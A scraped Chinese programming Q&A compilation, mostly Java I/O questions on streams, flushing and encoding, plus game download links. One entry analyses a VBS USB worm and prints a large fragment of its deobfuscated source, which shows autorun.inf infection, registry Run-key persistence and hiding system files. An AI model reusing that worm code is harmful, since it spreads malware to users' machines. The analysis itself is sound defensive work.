osw源碼
1. 在android2.3上初始化FIleOutputStream時報FilenotFoundException。。在2.2上運行正常
你的文件路徑問題,你的文件時在電腦上?,沒跟著apk,打包安裝後,文件就找不到了,是這個原因否?
2. 我去列印房列印,u盤上中了這個.vbs的病毒,用記事本打開全是亂碼,求解密之後的源代碼````
你好
這個是vbs腳本病毒,看上去是亂碼,一點也看不懂,其實還是有跡可循的。其思路就是尋 找"execute"關鍵詞。病毒最終,還是要換成機器可以看懂的內容,也就是說,最後一層的execute裡面的內容,就是病毒的源代碼。按照這個思路,那麼可以知道,解密方法也一定就在這個execute裡面。
也就是說:無需明白他是如何加密的,只需要知道,execute出來的是什麼。
按照這個思路,可以得到程序的最後一次迭代加密過程前的代碼,也就是第一次迭代解密的代碼,看上去還是亂碼,不過還是同樣的道理,總可以找到execute這個關鍵詞。病毒可能經過多次迭代,不過最終還是可以看懂的。
需要注意的是,execute後面的內容解密出來如果真的用execute執行了,那就中招了,所以這里要注意不能把execute也放進去一起執行。
以下是我的解密最終代碼片斷
這個程序作者比較BT,手工加密了很多地方,還手工打亂了代碼,嚴重妨礙了程序可讀性。
分析完代碼其大致功能是
1。開機自啟動
2。U盤的感染
3。破壞系統隱藏功能
on error resume next
j="\":til="SY":btj=900:vs=".vbs":ve=".vbe":cm="%comspec% /c":dfo="/u#t/":inf="\autorun.inf"
set ws=createobject("wscript.shell"):set fso=createobject("scripting.filesystemobject")
set wmi=getobject("winmgmts:\\.\root\cimv2"):set sis=wmi.execquery("select * fromwin32_operatingsystem")
set dc=fso.drives:set ats=wmi.execquery("select * from win32_service where name='Schele'")
for each atc in ats:cat=atc.state:next:if cat="Stopped" then ws.run "net start ""task scheler""",0,false
ouw=wscript.scriptfullname:win=fso.getspecialfolder(0)&j:dir=fso.getspecialfolder(1)&j
tmp=fso.getspecialfolder(2)&j:wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len (wscript.scriptname))
cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr:cna=rr (cnp,0):if cna="" then cna=til
wsc="wscript.exe":csc="cscript.exe":css=csc&" //nologo ":wsr=rn&":createobject (""wscript.shell"").run"
c=vbcrlf:inc=til&c&"[autorun]"&c&"open="&wsc&" .\"&vs&c&"shell\open\command="&wsc&" .\"&vs&c&"shell\open\default=1"
sf="shell folders\":rop="\software\microsoft\windows\currentversion\explorer\":dap=rr ("HKCU"&rop&sf&"desktop",0)&j
rpa="HKLM\software\"&cna&j:fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs:fap=rr ("HKCU"&rop&sf&"favorites",0)&j
ht=ec("ivwt?56"):ha=ec(":;9:7>5kw9"):hb=hl&"1;<<=6x"&hl&"r;":hc="0dwuEpE":hd=ec
("$"+hc):he=ec("c"+hc)
rsp="HKLM\software\microsoft\windows\currentversion\":rsb=rsp&"run\":rsp=rsp&"policies\explorer\run\"&cna
hip="HKCU"&rop&"advanced\showsuperhidden":sz=lcase(fso.getfilename(wscript.fullname)):if mir=dir then sys=true
for each si in
sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:next
if instr(wv,"5.2")<>0 then hb="w"+hb:lb="v" else if os<>2052 and cc<>86 then
hb="p"+hb:lb="o" else hb="d"+hb:lb="c"
for each d in dc
if mir=d&j then ws.run "explorer "&d,3,false:bir=true
next
if bir or sys or mir=win or mir=wbe then tir=true else wscript.quit
ouc=rt(ouw,-1):ver=gv(ouw):if ver="" or not isnumeric(ver) then msgbox("See You!"):km 1
else km 0
if sys then
if sz=wsc then pr csc,-1
if pr(csc,2)=1 then wscript.quit
wscript.sleep 2000
if pr(csc,1)=0 then ws.run css&dir&ve,0,false:if pr(csc,1)=1 then wscript.quit
if rr("til",1)<>til then wr "til",til:wr "tjs",btj:wr "djs",date-1:wr "ded",0
djs=rr("djs",1):if isdate(djs) and date-cdate(djs)>50 and lb<>"o" then wr "osw",4
if rr("atd",1)=1 then ws.run "at /d /y",0,false:wr "atd",0
le=rr("dna",1):if ei(tmp&le,1) then ws.run tmp&le
cu:er 10
else
wscript.sleep 5000
if pr(wsc,2)=2 then:if rr("tjc",1)=cstr(date) then:wscript.quit:else:wr "tjc",date
if pr(csc,1)<>1 or pr(wsc,1)=0 then bf dir&ve,ouc,7:ws.run css&dir&ve,0,false
end if
if pa=1 then rna=rpa&rna
rr=ws.regread(rna)
if er(0) then rr=0
for i=1 to len(wt):ec=ec+chr(asc(mid(wt,i,1))-i):next
由於VBS與JS一樣是解釋型語言,代碼自上而下,一行一行地運行。所以解這類代碼的一個技巧是:
我們尋找解密入口點時,應該優先考慮最後一個execute。作者大量使用邏輯拼接。。。屬於很BT的加密。。。汗水...
3. System.out.write和System.out.println
System.out的類型為PrintStream;
System.out.println('a'); 實際上調用是PrintStream的println(char c)方法;而println(char c)方法的源代碼為:
public void println(String x) {
synchronized (this) {
print(x);
newLine();
}
}
可見Println調用了print(char c)方法,print(char c)方法的源代碼如下:
public void print(char c) {
write(String.valueOf(c));
}
可見調用的是write(String s)方法,write(String s)的代碼為:
private void write(String s) {
try {
synchronized (this) {
ensureOpen();
textOut.write(s);
textOut.flushBuffer();
charOut.flushBuffer();
if (autoFlush && (s.indexOf('\n') >= 0))
out.flush();
}
}
catch (InterruptedIOException x) {
Thread.currentThread().interrupt();
}
catch (IOException x) {
trouble = true;
}
}
當字元串中含有'\n'時會刷新out,此處的out是OutStream對象的實例。println(String s)最後調用newLine() 方法,newLine()的代碼如下:
private void newLine() {
try {
synchronized (this) {
ensureOpen();
textOut.newLine();
textOut.flushBuffer();
charOut.flushBuffer();
if (autoFlush)
out.flush();
}
}
catch (InterruptedIOException x) {
Thread.currentThread().interrupt();
}
catch (IOException x) {
trouble = true;
}
}
newLine()會刷新out。
System.out.write(a); 調用的是PrintStream.write(int b)方法
write(int b) 的源代碼如下:
public void write(int b) {
try {
synchronized (this) {
ensureOpen();
out.write(b);
if ((b == '\n') && autoFlush)
out.flush();
}
}
catch (InterruptedIOException x) {
Thread.currentThread().interrupt();
}
catch (IOException x) {
trouble = true;
}
}
看過源代碼後應該明白兩者之間的差異了,println(String s)不但會刷新out,而且還會同時刷新textOut和charOut,而write(int b)只有當b == '\n'時才刷新out。這也是為什麼加了System.out.write('\n'); 後就能顯示出來了,問題就在於out沒有刷新。
樓主的第二個問題很好解釋,因為在print(String s)中,會刷新textOut和charOut。
textOut和charOut是什麼?看一下PrintStream中的定義:
private BufferedWriter textOut;
private OutputStreamWriter charOut;
textOut和charOut在init(OutputStreamWriter osw)方法中初始化,init(OutputStreamWriter osw)的代碼如下:
private void init(OutputStreamWriter osw) {
this.charOut = osw;
this.textOut = new BufferedWriter(osw);
}
init()函數在構造函數中被調用
public PrintStream(OutputStream out, boolean autoFlush) {
this(autoFlush, out);
init(new OutputStreamWriter(this));
}
可見,textOut和charOut操作的輸出流和out是一樣的,因此對textOut和charOut刷新同時刷新了out,因此print(String s)即便沒有'\n',也同樣會直接輸出出來。
4. java 記事本的系統分析怎麼寫
FileWriter osw=new FileWriter(fns);
osw.write(text1.getText());//主要是這里 保存之後的東西不會換行。。。個人感覺是 java和xp對於換行字元的要求不一樣 ,請問這里如何實現換行
osw.write("\n"); //添加這一行試試,如果不行,將\n改成\r\n
osw.close();
請參考
5. Java中的io流關閉問題
如下例子代碼:
FileInputStream is = new FileInputStream(".");
BufferedInputStream bis = new BufferedInputStream(is);
bis.close();
從設計模式上看:
java.io.BufferedInputStream是java.io.InputStream的裝飾類。
BufferedInputStream裝飾一個 InputStream 使之具有緩沖功能,is要關閉只需要調用最終被裝飾出的對象的 close()方法即可,因為它最終會調用真正數據源對象的 close()方法。
BufferedInputStream的close方法中對InputStream進行了關閉,下面是jdk中附帶的源代碼:
java.io.BufferedInputStream的api:
close
public void close()throws IOException 關閉此輸入流並釋放與該流關聯的所有系統資源。
因此,可以只調用外層流的close方法關閉其裝飾的內層流,驗證例子:
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("d:\\a.txt");
OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8");
BufferedWriter bw = new BufferedWriter(osw);
bw.write("java IO close test");
bw.close();
}
驗證ok
6. 誰知道金庸群俠傳原版的下載地址和修改器啊
金庸群俠傳1下載集合:
金庸群俠傳1下載懷舊版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=2010000&ps=0_0&rt=0kbs&plt=0
金庸群俠傳1下載-完美硬碟版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=2004000&ps=0_0&rt=0kbs&plt=0
夢幻金庸群俠傳1下載正式版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=2002000&ps=0_0&rt=0kbs&plt=0
RPG金庸群俠傳1下載
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=2002000&ps=0_0&rt=0kbs&plt=0
金庸群俠傳1下載之蒼龍逐日1.2修改器
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=2002000&ps=0_0&rt=0kbs&plt=0
金庸群俠傳1下載之武林浩盪1.7簡體中文版
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=2002000&ps=0_0&rt=0kbs&plt=0
金庸群俠傳1下載—笑夢游記 v1.11
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=2002000&ps=0_0&rt=0kbs&plt=0
RPG經典單機游戲金庸群俠傳1下載
http://58.251.57.206/down?cid=&t=1&fmt=&usrinput=金庸群俠傳1下載&dt=1002012&ps=0_0&rt=0kbs&plt=0
金庸群俠傳1相關介紹:
中文名稱:《金庸群俠傳》
開發廠商:河洛工作室(後改名為東方演算)
發行廠商:智冠電子
游戲平台:PC單機游戲
游戲類型:角色扮演游戲
發行日期:1996年
這是河洛工作室「群俠」系列三部曲的的第一部。第二部為為武林群俠傳,第三部為三國群俠傳。金庸群俠傳於1996年發行,是由河洛工作室開發(後來改名為東方演算)、智冠科技發行的中文角色扮演游戲,在當時是一款相當受歡迎的游戲。要注意的是,日後開發的金庸群俠傳Online一度是受歡迎的網路角色扮演游戲,但游戲不是由河洛工作室開發。
游戲簡介
無論是在中國,或是在東南亞,西歐,北美等地,凡是有中國人的地方,都知道金庸這個名字。無數金庸迷熱烈的擁戴他們所愛的小說人物,跟這些小說人物走遍大江南北,並隨他們的命運落淚嘆息。還有一些專家學者或著名小說家對「金學」做很透徹的研究並發出很獨特精闢的見解。
不管您是哪一個階層的人只要看過金庸的小說,都會對金庸小說中各色的人物及當時武林社會的各種狀況產生五味雜陳的感覺,或喜愛,或厭倦,或者樂不可支,大家心中一致認為:金庸的小說的確好看,而且值得一看再看。以這樣的後輩姿態來看金庸小說,除了敬畏,還是敬畏······
這是一款由智冠公司河洛工作室1996年推出的角色扮演類游戲。此游戲把金庸先生「飛雪連天射白鹿,笑書神俠倚碧鴛」等14部小說中一些膾炙人口的片段,如六大門派圍攻光明頂,冰火島,英雄大會等融合在一起,改編而成,具有14個支線任務。玩家可自由選擇游戲路線,其間基本上沒有因果關系,只不過其中有一些任務相對比較難,因此需先完成別的任務才成。游戲的劇情是開放的,游戲地圖也是開放的。在游戲中玩家可邀5位非主角控制的人物(NPC),參加隊伍,而且游戲中如果行善做好事多,則玩家的品德屬性值高,這樣一些人物才願意與你為伍。反之,如果殺戮過重,最後過關時將遇到正派大俠們連手攻擊,就較難回到現實世界裡來了······
游泳的魚Windows版:2005年9月7日游泳的魚利用VB和DirectX編寫出了第一個游戲的Windows版本。這在當時是一個里程碑式的成果。這個版本的最終版本號為0.4。仍然含有一些bug,並且在某些時候執行效率較低,而且基本不能支持原版之外的MOD。
tianuawindosws版:《金庸群俠傳》最完美的原版移植版,此移植版本除了音樂錯亂和速度過快之外,基本沒有惡性bug,並添加了幾個新的功能。但是由於作者並沒有針對原版之外的版本作任何優化,也未提供移植版的源碼,因此他的移植版對MOD製作技術的研究並無貢獻。
復刻版
金庸群俠傳Windows版:08年weyl使用Pascal語言編寫,SDL作為游戲的基本引擎重製了基於Windows平台下《金庸群俠傳移植版》,又稱為復刻版,雖然這不是第一個Windows平台下的金庸群俠傳,但是由於此版引擎可正確支持大部分流行MOD,並可供玩家修改製作基於Windows平台下的新的MOD,甚至可以通過修改復刻版附帶發布的源代碼進行游戲引擎的修改,所以這是MOD發展史上的一個里程碑。最近,慕容玄恭發布在《蒼龍逐日復刻版》的基礎上開發出新MOD《金書群芳譜》,值得一提的是,這應該是第一個採用復刻版引擎製作的MOD。
不知道你要那個原版的,這里全有。祝你玩得愉快。
7. java文件怎麼打開
樓主是否要源代碼? 我這有
import java.io.*;
public class FileTest {
public static void main(String[] args)
throws Exception
{
FileOutputStream fos=new FileOutputStream("文件名"); //將文件包裝成輸入或輸出設備 文件名這個地方是你要保存的 那個文件的路徑 直接寫文件名就是說在當前目錄下 注意文件名不要寫後綴
OutputStreamWriter osw=new OutputStreamWriter(fos); //位元組流和字元流的轉換
BufferedWriter bw=new BufferedWriter(osw); //對字元流進行包裝,提高傳輸效率
bw.write("這里是你要寫的東西");
bw.flush();
bw.close();
osw.close();
fos.close();
}
}
把這個復制到一個後綴為.JAVA的文件中 重命名為FileTest.java 然後打開控制台 javac FileTest.java 編譯沒問題 java FileTest 就可以運行了 有什麼問題找我
8. 急,怎麼批量從網站得到查詢結果呢
你如果會用JAVA的話,執行下面的程序,就可以從Baii批量得到查詢結果,
用法:
C:/urltest_files/test_inFile.txt的文件中寫入 要查詢 的關鍵字,每行一個,(當然也可以從DB中讀取 關鍵字,改一下代碼就可以了)
他就會把查詢結果一HTML形式保存到C:/urltest_files/文件中。
因為每個網站都不一樣,不知道他是不是適用於你的網站。
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Scanner;
public class Test {
public static void main(String[] args) {
try {
String baseUrl = "http://www..com/s?wd=";
String dir = "C:/urltest_files/";
File inFile = new File(dir + "test_inFile.txt");
File outFile = new File(dir + "test_outFile.txt");
if (!inFile.exists()) {
return;
}
OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(outFile), "GB2312");
Scanner scan = new Scanner(inFile);
int cnt = 0;
while (scan.hasNextLine()) {
cnt++;
String line = scan.nextLine();
try {
URL url = new URL(baseUrl + URLEncoder.encode(line, "GB2312"));
System.out.println(url);
String htmlFile = dir + "result_" + cnt + ".html";
osw.write("KEY: \t" + line + "\r\n");
osw.write("FILE: \t" + htmlFile + "\r\n\r\n");
OutputStreamWriter htmlOut = new OutputStreamWriter(new FileOutputStream(htmlFile), "GB2312");
InputStream ins = url.openStream();
Scanner htmlScan = new Scanner(ins, "GB2312");
while (htmlScan.hasNextLine()) {
htmlOut.write(htmlScan.nextLine() + "\r\n");
}
htmlScan.close();
htmlOut.close();
} catch (Exception e) {
e.printStackTrace();
}
}
scan.close();
osw.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
9. 讀寫文件的基本流有哪些
一、IO流的三種分類方式
1.按流的方向分為:輸入流和輸出流
2.按流的數據單位不同分為:位元組流和字元流
3.按流的功能不同分為:節點流和處理流
二、IO流的四大抽象類:
字元流:Reader Writer
位元組流:InputStream(讀數據)
OutputStream(寫數據)
三、InputStream的基本方法
int read() throws IOException 讀取一個位元組以整數形式返回,如果返回-1已到輸入流的末尾
void close() throws IOException 關閉流釋放內存資源
long skip(long n) throws IOException 跳過n個位元組不讀
四、OutputStream的基本方法
void write(int b) throws IOException 向輸出流寫入一個位元組數據
void flush() throws IOException 將輸出流中緩沖的數據全部寫出到目的地
五、Writer的基本方法
void write(int c) throws IOException 向輸出流寫入一個字元數據
void write(String str) throws IOException將一個字元串中的字元寫入到輸出流
void write(String str,int offset,int length)
將一個字元串從offset開始的length個字元寫入到輸出流
void flush() throws IOException
將輸出流中緩沖的數據全部寫出到目的地
六、Reader的基本方法
int read() throws IOException 讀取一個字元以整數形式返回,如果返回-1已到輸入流的末尾
七、節點流類型
八、訪問文件之FileInputStream和FileOutputStream繼承基類用於向文件中輸入輸出位元組
九、訪問文件之FileReader和FileWriter繼承基類用於向文件中輸入輸出字元
----輸出流在構造函數第二個參數可以設置true意義為跟在已有文件後進行輸入
----此類流會拋出FileNotFoundException需要對其進行顯示捕捉
十、緩沖流:緩沖流要套接在相應的節點流之上,提高了讀寫的效率。
此處理流的構造方法都得傳相對應的基類類型
BufferedReader:提供了readLine方法用於高校讀取一行字元串
BufferedWriter:提供了newLine用於寫入一個行分隔符也就是換行
BufferedInputStream 沒多大用處
BufferedOutputStream 沒多大用處
十一、轉換流:主要作用將位元組流轉換成字元流。用處較大!
轉換流在構造時可以指定其編碼集合
InputStreamReader需要和InputStream套接
OutputStreamWriter需要和OutputStream套接
例:OutputStreamWriter osw = new OutputStreamWriter (new FileOutputStream(文件路徑);
方法例:osw.getEncoding(); 獲得流的編碼方式
十二、數據流與位元組數組流:
數據流主要為實現可以存取Java原始數據類型如long,boolean
數據流是位元組流
DataInputStream需要和InputStream套接
DataOutputStream需要和OutputStream套接
DataInputStream方法:readBoolean() readInt() read……()……
readUTF():網路傳輸常用方法 讀一個Unicode字元串
DataOutputStream方法與DataInputStream基本對應為寫的方法
//此構造函數等於已可以往一個位元組數組里輸入內容
ByteArrayOutputStream baos = new ByteArrayOutputStream ();
//此方法為獲取一個位元組數組方法返回位元組數組
baos.toByteArray();
//此方法獲取位元組數組佔了多少位元組
new ByteArrayInputStream(一個位元組數組)。available()
1ByteArrayOutputStream baos =
2 new ByteArrayOutputStream();
3 DataOutputStream dos =
4 new DataOutputStream(baos);
5 try {
6 dos.writeDouble(Math.random());
7 dos.writeBoolean(true);
8 ByteArrayInputStream s =
9 new ByteArrayInputStream(baos.toByteArray());
10 System.out.println(s.available());
11 DataInputStream dis = new DataInputStream(s);
12 System.out.println(dis.readDouble());
13 System.out.println(dis.readBoolean());
14 dos.close(); dis.close();
15 } catch (IOException e) {
16 e.printStackTrace();
17 }
十二、Print流
Print流只有輸出流無輸入流,PrintWriter和PrintStream分別針對字元位元組
兩個類提供了重載的Print和Println方法用於多種數據類型的輸出
PrintWriter和PrintStream的輸出操作不會拋出異常
PrintWriter和PrintStream有自動flush功能
----System.setOut(接收OutputStream類):用於設置系統默認輸出流
十二、Object流
等同於c#序列化,用直接將Object寫入或讀出
transient關鍵字為不序列化此成員變數
需要序列化的類必須實現Serializable介面
主要方法:writeObject(Object); readObject();
讀出為Object類型需要強轉數據類型
1 import java.io.*;
2
3 public class TestObjectIO {
4 public static void main(String args[]) throws Exception {
5 T t = new T();
6 t.k = 8;
7 FileOutputStream fos = new FileOutputStream("d:/share/java/io/testobjectio.dat");
8 ObjectOutputStream oos = new ObjectOutputStream(fos);
9 oos.writeObject(t);
10 oos.flush();
11 oos.close();
12
13 FileInputStream fis = new FileInputStream("d:/share/java/io/testobjectio.dat");
14 ObjectInputStream ois = new ObjectInputStream(fis);
15 T tReaded = (T)ois.readObject();
16 System.out.println(tReaded.i + " " + tReaded.j + " " + tReaded.d + " " + tReaded.k);
17
18 }
19 }
20
21 class T
22 implements Serializable
23 {
24 int i = 10;
25 int j = 9;
26 double d = 2.3;
27 transient int k = 15;
28 }
10. java 將編碼格式為utf-8的文件內容以 GBK編碼存到txt文檔
默認Java轉換GBK格式的可以通過提供的轉換類來實現,示例如下:
如果直接把Java源代碼復制到Eclipse中所有的中文信息都出現亂碼。將文本文件的編碼格式從GBK轉UTF-8的方式有很多,
比較早以前我處理方式都是自己寫程序,從文本文件中用GBK編碼讀取數據,轉為String類型,然後通過UTF-8編碼重新寫入文本文件實現轉碼,現在經常使用ApacheCommon組件,用commons-io.jar實現文件的
讀取和寫入,代碼如下:
//GBK編碼格式源碼路徑
StringsrcDirPath="D:\dev\workspace\masdev\mas\src";
//轉為UTF-8編碼格式源碼路徑
Stringutf8DirPath="D:\UTF8\src";
//獲取所有java文件
CollectionjavaGbkFileCol=FileUtils.listFiles(newFile(srcDirPath),newString[]{"java"},true);
for(FilejavaGbkFile:javaGbkFileCol){
//UTF8格式文件路徑
Stringutf8FilePath=utf8DirPath+javaGbkFile.getAbsolutePath().substring(srcDirPath.length());
//使用GBK讀取數據,然後用UTF-8寫入數據
FileUtils.writeLines(newFile(utf8FilePath),"UTF-8",FileUtils.readLines(javaGbkFile,"GBK"));
}